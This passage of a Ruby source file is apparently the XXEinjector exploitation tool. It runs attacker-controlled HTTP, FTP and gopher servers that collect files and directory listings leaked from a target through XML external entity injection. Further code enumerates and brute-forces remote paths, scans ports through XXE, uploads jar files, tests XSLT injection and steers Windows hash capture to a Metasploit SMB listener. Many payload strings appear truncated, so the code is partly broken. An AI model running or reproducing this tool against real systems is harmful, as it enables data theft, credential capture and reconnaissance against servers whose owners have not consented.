712 | # Add some changes to Windows path
713 | if $cut == 0
714 | $path += '/' if $path[-1] == ":"
715 | $path = $path.gsub("\\", "/")
716 | end
717 |
718 | # configure payloads
719 | # DTD to inject
720 | $dtd = "%remote;%int;%trick;]>"
721 | # XSL to inject
722 | $xsl = ""
723 |
724 | # Starting servers
725 | begin
726 | if ($xslt == "n" && enumports == "" && $logger == "n") || ($logger == "y" && enum == "http") || ($direct != "" && cdata == "y")
727 | http = TCPServer.new http_port
728 | end
729 | if enum == "ftp" && $xslt == "n" && enumports == "" && $direct == ""
730 | ftp = TCPServer.new ftp_port
731 | end
732 | if enum == "gopher" && $xslt == "n" && enumports == "" && $direct == ""
733 | gopher = TCPServer.new gopher_port
734 | end
735 | if upload != ""
736 | jar = TCPServer.new jar_port
737 | end
738 | if $xslt == "y"
739 | xsltserv = TCPServer.new xslt_port
740 | end
741 | rescue Errno::EADDRINUSE
742 | puts "[-] Specified TCP ports already in use."
743 | exit(1)
744 | end
745 |
746 | # HTTP for XML serving and data retrival
747 | Thread.start do
748 | Thread.current.report_on_exception = false
749 | loop do
750 | Thread.start(http.accept) do |client|
751 | Thread.current.report_on_exception = false
752 | $done = 0
753 | $tmppath = $nextpath
754 | loop {
755 |
756 | params = {}
757 | req = client.gets()
758 | break if req.nil?
759 |
760 | # HTTP XML serving
761 | if req.include? "file.dtd"
762 |
763 | puts "[+] Got request for XML:\n#{req}\n" if $verbose == "y"
764 |
765 | if hashes == "n" && upload == "" && expect == ""
766 | if $cut == 1
767 | puts "[+] Responding with XML for: /#{enumpath}"
768 | else
769 | puts "[+] Responding with XML for: #{enumpath}"
770 | end
771 | else
772 | puts "[+] Responding with proper XML."
773 | end
774 |
775 | # respond with proper XML
776 | if cdata == "y"
777 | payload = ""
778 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
779 | elsif hashes == "y"
780 | payload = "\r\n\">"
781 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
782 | elsif upload != ""
783 | payload = "\r\n\">"
784 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
785 | elsif expect != ""
786 | if enum == "ftp"
787 | if phpfilter == "n"
788 | payload = "\r\n\">"
789 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
790 | else
791 | payload = "\r\n\">"
792 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
793 | end
794 | elsif enum == "http"
795 | if phpfilter == "n"
796 | payload = "\r\n\">"
797 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
798 | else
799 | payload = "\r\n\">"
800 | client.print("HTTP/1.1 200 OK\r\nContent-Type: application/xml\r\nContent-Length: #{payload.bytesize}\r\nConnection: close\r\n\r\n#{payload}")
801 | end
802 | end
803 | elsif enum == "ftp" && expect == ""
804 | if phpfilter == "n"
805 | payload = "\r\n\">"
806 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
807 | else
808 | payload = "\r\n\">"
809 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
810 | end
811 | elsif enum == "http" && expect == ""
812 | if phpfilter == "n"
813 | payload = "\r\n\">"
814 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
815 | else
816 | payload = "\r\n\">"
817 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
818 | end
819 | elsif enum == "gopher" && expect == ""
820 | payload = "\r\n\">"
821 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}")
822 | end
823 | puts "[+] XML payload sent:\n#{payload}\n\n" if $verbose == "y"
824 |
825 | end
826 |
827 | # HTTP data retrival
828 | if req.include? "?p="
829 |
830 | switch = 0
831 | puts "[+] Response with file/directory content received:\n" + req + "\n" if $verbose == "y"
832 |
833 | # retrieve p parameter value and respond
834 | req = req.sub("GET /?p=", "").split(" ")[0]
835 | client.print("HTTP/1.1 200 OK\r\nContent-Length: 6\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\nThanks")
836 |
837 | # base64 decode if parameter was encoded
838 | if phpfilter == "y"
839 | req = Base64.decode64(req)
840 | end
841 |
842 | # if PHP expect then print and exit
843 | if expect != ""
844 | puts "[+] Result of \"#{expect}\" command:\n" + req
845 | exit(1)
846 | end
847 |
848 | # set proper splitter
849 | splitter = "%0A"
850 | splitter = "\n" if phpfilter == "y"
851 |
852 | puts "[+] Retrieved data:"
853 | req.split(splitter).each do |param|
854 |
855 | # logging to file
856 | log(param + "\n")
857 |
858 | # push to array if directory listing is detected for further enumeration
859 | pusharr(param)
860 | end
861 | end
862 |
863 | client.close
864 | }
865 | end
866 | end
867 | end
868 |
869 | # FTP server to read files/directory listings and log to files
870 | if enum == "ftp"
871 | Thread.start do
872 | Thread.current.report_on_exception = false
873 | loop do
874 | Thread.start(ftp.accept) do |client|
875 | Thread.current.report_on_exception = false
876 | $done = 0
877 | switch = 0
878 | #puts "Response with file/directory content received. Enumeration unlocked." if $verbose == "y"
879 | $tmppath = $nextpath
880 | client.puts("220 XXEinjector Welcomes!")
881 | begin
882 | status = Timeout::timeout($contimeout) {
883 | loop {
884 | req = client.gets()
885 | break if req.nil?
886 |
887 | # respond with proper option
888 | if req.include? "LIST"
889 | client.puts("drwxrwxrwx 1 xxe xxe 1 Jan 01 01:01 xxe")
890 | client.puts("150 Opening BINARY mode data connection for /xxe")
891 | client.puts("226 Transfer complete")
892 | end
893 | if req.include? "USER"
894 | client.puts("331 password required")
895 | end
896 | if req.include? "PORT"
897 | client.puts("200 PORT command OK")
898 | else
899 | client.puts("230 Now you can send data")
900 | end
901 |
902 | # truncate requests to proper format and base64 decode if encoded
903 | if req.include? "RETR "
904 | req = req.split(' ')[1..-1].join(' ')
905 | req += "\n"
906 | end
907 |
908 | if phpfilter == "y"
909 | req = Base64.decode64(req)
910 | end
911 |
912 | # if PHP expect then print and exit
913 | if expect != ""
914 | puts "[+] Result of \"#{expect}\" command:\n" + req
915 | exit(1)
916 | end
917 |
918 | # logging to file
919 | log(req)
920 |
921 | # clear requests that are known to be not part of directory listing
922 | req = req.chomp
923 | if req.include?("CWD ") || req.match(/^USER /) || req.match(/^PASS /) || req == "TYPE I" || req.include?("EPSV") || req == "TYPE A" || req == "LIST"
924 | req = ""
925 | end
926 |
927 | # push to array if directory listing is detected for further enumeration
928 | pusharr(req)
929 |
930 | }
931 | }
932 | rescue Timeout::Error
933 | end
934 | client.close
935 | end
936 | end
937 | end
938 | end
939 |
940 | # gopher server to read files/directory listings and log to files
941 | if enum == "gopher"
942 | Thread.start do
943 | Thread.current.report_on_exception = false
944 | loop do
945 | Thread.start(gopher.accept) do |client|
946 | Thread.current.report_on_exception = false
947 | $done = 0
948 | switch = 0
949 | #puts "Response with file/directory content received. Enumeration unlocked." if $verbose == "y"
950 | $tmppath = $nextpath
951 | begin
952 | status = Timeout::timeout($contimeout) {
953 | loop {
954 | req = ""
955 | loop do
956 | tmp = client.gets()
957 | break if tmp.chomp == ""
958 | req += tmp
959 | end
960 |
961 | req.sub! 'gopher=', ''
962 | puts "[+] Retrieved data:"
963 | req.split("\n").each do |param|
964 |
965 | # logging to file
966 | log(param + "\n")
967 |
968 | # push to array if directory listing is detected for further enumeration
969 | pusharr(param)
970 | end
971 |
972 | }
973 | }
974 | rescue Timeout::Error
975 | end
976 | client.close
977 | end
978 | end
979 | end
980 | end
981 |
982 | # logger
983 | if $logger == "y"
984 | puts "[+] You can now make requests."
985 | puts "[+] Enter \"exit\" to quit."
986 | loop do
987 | cmp = Readline.readline("> ", true)
988 | exit(1) if cmp.chomp == "exit"
989 | end
990 | end
991 |
992 | # unfiltered ports enumeration
993 | if enumports != ""
994 | ports = ""
995 |
996 | # enumerating all ports
997 | if enumports == "all"
998 | j = 1
999 | while j <= 65535 do
1000 | $dtd = "%remote;]>"
1001 | begin
1002 | Thread.start do
1003 | Thread.current.report_on_exception = false
1004 | loop do
1005 | enum = TCPServer.new j
1006 | Thread.start(enum.accept) do |client|
1007 | Thread.current.report_on_exception = false
1008 | ports += String(j) + ","
1009 | client.close
1010 | break
1011 | end
1012 | end
1013 | end
1014 | configreq()
1015 | sendreq()
1016 | send2ndreq() if $secfile != ""
1017 | j = j + 1
1018 | rescue Errno::EADDRINUSE
1019 | puts "[-] Cannot bind to #{j} port."
1020 | end
1021 | end
1022 |
1023 | # enumerating only specified ports
1024 | else
1025 | tports = enumports.split(",")
1026 | tports.each do |tcpport|
1027 | $dtd = "%remote;]>"
1028 | begin
1029 | Thread.start do
1030 | Thread.current.report_on_exception = false
1031 | loop do
1032 | enum = TCPServer.new tcpport
1033 | Thread.start(enum.accept) do |client|
1034 | Thread.current.report_on_exception = false
1035 | ports += String(tcpport) + ","
1036 | client.close
1037 | break
1038 | end
1039 | end
1040 | end
1041 | configreq()
1042 | sendreq()
1043 | send2ndreq() if $secfile != ""
1044 | rescue Errno::EADDRINUSE
1045 | puts "[-] Cannot bind to #{tcpport} port."
1046 | end
1047 | end
1048 | end
1049 | if ports != ""
1050 | puts "[+] Unfiltered ports: " + ports[0..-2]
1051 | else
1052 | puts "[-] No unfiltered ports were identified."
1053 | end
1054 | exit(1)
1055 | else
1056 | if $direct == ""
1057 | configreq()
1058 | end
1059 | end
1060 |
1061 | # TCP server for uploading files using Java jar
1062 | if upload != ""
1063 | Thread.start do
1064 | Thread.current.report_on_exception = false
1065 | loop do
1066 | Thread.start(jar.accept) do |client|
1067 | Thread.current.report_on_exception = false
1068 | content = IO.binread(upload)
1069 | count = 0
1070 | puts "[+] File uploaded. Check temp directory on remote host for jar_cache*.tmp file. This file is available until connection is closed."
1071 | loop do
1072 | if count == 0
1073 | client.puts(content)
1074 | count = 1
1075 | end
1076 | sleep(10000)
1077 | end
1078 | end
1079 | end
1080 | end
1081 | sendreq()
1082 | loop do
1083 | sleep(10000)
1084 | end
1085 | end
1086 |
1087 | # TCP server for XSLT injection test
1088 | if $xslt == "y"
1089 | test = 0
1090 | Thread.start do
1091 | Thread.current.report_on_exception = false
1092 | loop do
1093 | Thread.start(xsltserv.accept) do |client|
1094 | Thread.current.report_on_exception = false
1095 | puts "[+] XSLT injection is working!"
1096 | client.close
1097 | exit(1)
1098 | end
1099 | end
1100 | end
1101 | sendreq()
1102 | send2ndreq() if $secfile != ""
1103 | sleep timeout
1104 | puts "[-] XSLT is not working."
1105 | exit(1)
1106 | end
1107 |
1108 | # Retriving Windows hashes
1109 | if hashes == "y"
1110 | puts "[+] Start msfconsole with auxiliary/server/capture/smb. Press enter when started."
1111 | Readline.readline("> ", true)
1112 | sendreq()
1113 | send2ndreq() if $secfile != ""
1114 | sleep(10)
1115 | puts "[+] Check msfconsole for hashes."
1116 | Readline.readline("> ", true)
1117 | exit(1)
1118 | end
1119 |
1120 | # Sending first request
1121 | if $brute == ""
1122 | if $direct == ""
1123 | enumpath = $path
1124 | switch = 1
1125 | #puts "Enumeration locked." if $verbose == "y"
1126 | sendreq()
1127 | send2ndreq() if $secfile != ""
1128 | else
1129 | $done = 0
1130 | $directpath = $path
1131 | configreq()
1132 | sendreq()
1133 | send2ndreq() if $secfile != ""
1134 | if !$response.body.include?("#{$direct.split(",")[0]}")
1135 | puts "[-] Response does not contain unique mark."
1136 | exit(1)
1137 | else
1138 | if $response.body.include?("#{$direct.split(",")[0]}#{$direct.split(",")[1]}")
1139 | puts "[-] File/directory could not be retrieved."
1140 | exit(1)
1141 | else
1142 | puts "[+] Retrieved data:"
1143 |
1144 | $response.body[/(#{$direct.split(",")[0]})(.*)(#{$direct.split(",")[1]})/m].gsub("#{$direct.split(",")[0]}", "\n").gsub("#{$direct.split(",")[1]}", "\n").split("\n").each do |param|
1145 |
1146 | # log to separate file
1147 | log(param + "\n")
1148 |
1149 | # push to array if directory listing is detected for further enumeration
1150 | param = param.chomp
1151 | if param.match $regex
1152 | $filenames.push(param)
1153 | puts "#{param}"
1154 | end
1155 |
1156 | end
1157 | end
1158 | end
1159 | end
1160 |
1161 | # Loop that checks if response with next file content was received by FTP/HTTP server
1162 | if $direct == ""
1163 | loop do
1164 | sleep timeout
1165 | if switch == 1 && hashes == "n" && upload == ""
1166 | puts "[-] FTP/HTTP did not get response. XML parser cannot parse provided file or the application is not responsive. Wait or Next? W/n"
1167 | cmp = Readline.readline("> ", true)
1168 | Readline::HISTORY.push
1169 | break if cmp == "n" || cmp == "N"
1170 | sleep timeout
1171 | else
1172 | break
1173 | end
1174 | end
1175 | end
1176 | end
1177 |
1178 | # read, ask and further enumerate
1179 | loop do
1180 | if $brute == ""
1181 | if !$filenames[i].nil?
1182 |
1183 | # Read next line
1184 | line = $filenames[i]
1185 | line = line.chomp
1186 | if $urlencode == "y"
1187 | line = line.gsub(' ','%20')
1188 | end
1189 |
1190 | # Check if a file should be enumerated
1191 | check = "#{$path}/#{line}".split("/")[0..-2].join('/')
1192 |
1193 | if enumall != "y" && !blacklist.include?(check) && !whitelist.include?(check)
1194 | if $cut == 0
1195 | if $path[-1] == "/"
1196 | puts "\nEnumerate #{$path}#{line}? Y/n/s/a/q"
1197 | else
1198 | puts "\nEnumerate #{$path}/#{line}? Y/n/s/a/q"
1199 | end
1200 | else
1201 | if $path == ""
1202 | puts "\nEnumerate /#{line}? Y/n/s/a/q"
1203 | else
1204 | puts "\nEnumerate /#{$path}/#{line}? Y/n/s/a/q"
1205 | end
1206 | end
1207 | cmp = Readline.readline("> ", true)
1208 | Readline::HISTORY.push
1209 | if cmp == "q" || cmp == "Q"
1210 | exit(1)
1211 | end
1212 | if cmp == "s" || cmp == "S"
1213 | blacklist.push("#{$path}/#{line}".split("/")[0..-2].join('/'))
1214 | end
1215 | if cmp == "a" || cmp == "A"
1216 | whitelist.push("#{$path}/#{line}".split("/")[0..-2].join('/'))
1217 | cmp = "y"
1218 | end
1219 | elsif enumall == "y" || whitelist.include?(check)
1220 | cmp = "y"
1221 | else
1222 | cmp = "n"
1223 | end
1224 | if cmp == "y" || cmp == "Y" || cmp == ""
1225 | if enumall != "y" && !whitelist.include?(check)
1226 | switch = 1
1227 | #puts "Enumeration locked." if $verbose == "y"
1228 | end
1229 | $nextpath = "#{line}"
1230 |
1231 | # Send request with next filename
1232 | if $direct != ""
1233 | if $path[-1] != "/"
1234 | $directpath = "#{$path}/#{line}"
1235 | else
1236 | $directpath = "#{$path}#{line}"
1237 | end
1238 | configreq()
1239 | else
1240 | if $path[-1] != "/"
1241 | enumpath = "#{$path}/#{line}"
1242 | else
1243 | enumpath = "#{$path}#{line}"
1244 | end
1245 | end
1246 | enumpath[0] = "" if enumpath[0] == "/"
1247 | sendreq()
1248 | send2ndreq() if $secfile != ""
1249 |
1250 | # Loop that checks if response with next file content was received by FTP/HTTP servers
1251 | if $direct == ""
1252 | loop do
1253 | sleep timeout
1254 | if switch == 1
1255 | puts "[-] FTP/HTTP did not get response. XML parser cannot parse provided file or the application is not responsive. Wait or Next? W/n"
1256 | cmp = Readline.readline("> ", true)
1257 | Readline::HISTORY.push
1258 | break if cmp == "n" || cmp == "N"
1259 | sleep timeout
1260 | else
1261 | break
1262 | end
1263 | end
1264 | else
1265 | if not $response.body.include?("#{$direct.split(",")[0]}")
1266 | puts "[-] Response does not contain unique mark."
1267 | else
1268 | if $response.body.include?("#{$direct.split(",")[0]}#{$direct.split(",")[1]}")
1269 | puts "[-] File/directory could not be retrieved."
1270 | else
1271 | $done = 0
1272 | puts "[+] Retrieved data:"
1273 | $response.body[/(#{$direct.split(",")[0]})(.*)(#{$direct.split(",")[1]})/m].gsub("#{$direct.split(",")[0]}", "\n").gsub("#{$direct.split(",")[1]}", "\n").split("\n").each do |param|
1274 |
1275 | # log to separate file
1276 | log(param + "\n")
1277 |
1278 | # push to array if directory listing is detected for further enumeration
1279 | pusharr(param)
1280 |
1281 | end
1282 | end
1283 | end
1284 | end
1285 |
1286 | end
1287 | i = i + 1
1288 | else
1289 | puts "[+] Nothing else to do. Exiting."
1290 | exit(1)
1291 | end
1292 | else
1293 | brutefile = File.open($brute, "r")
1294 | exit(1) if IO.readlines(brutefile)[i].nil?
1295 |
1296 | # Read next line
1297 | line = IO.readlines(brutefile)[i]
1298 | line = line.chomp
1299 |
1300 | log = File.open($output, "a")
1301 | log.write "\n"
1302 | log.write "Filename: #{line}\n"
1303 | log.close
1304 |
1305 | # handle unix and windows paths
1306 | if line[0] == "/"
1307 | line[0] = ''
1308 | $cut = 1
1309 | end
1310 | line = line.gsub("\\","/")
1311 | if line[-1] == "/" && line[-2] != ":"
1312 | line[-1] = ''
1313 | end
1314 | if line[-1] == ":"
1315 | line += '/'
1316 | end
1317 |
1318 | line = line.gsub(' ','%20')
1319 |
1320 | # Send request with next filename
1321 | if $direct == ""
1322 | enumpath = "#{line}"
1323 | else
1324 | $directpath = "#{line}"
1325 | configreq()
1326 | end
1327 | sendreq()
1328 | send2ndreq() if $secfile != ""
1329 |
1330 | if $direct != ""
1331 | if not $response.body.include?("#{$direct.split(",")[0]}")
1332 | puts "[-] Response does not contain unique mark." if $verbose == "y"
1333 | else
1334 | log = File.open($output, "a")
1335 | log.write $response.body[/(#{$direct.split(",")[0]})(.*)(#{$direct.split(",")[1]})/m].gsub("#{$direct.split(",")[0]}", "\n").gsub("#{$direct.split(",")[1]}", "\n") + "\n"
1336 | puts "[+] Bruteforced request logged: #{$directpath}" if $verbose == "y"
1337 | log.close
1338 | end
1339 | end
1340 |
1341 | i = i + 1
1342 |
1343 | brutefile.close
1344 | sleep timeout
1345 | end
1346 | end
1347 |
1348 |
--------------------------------------------------------------------------------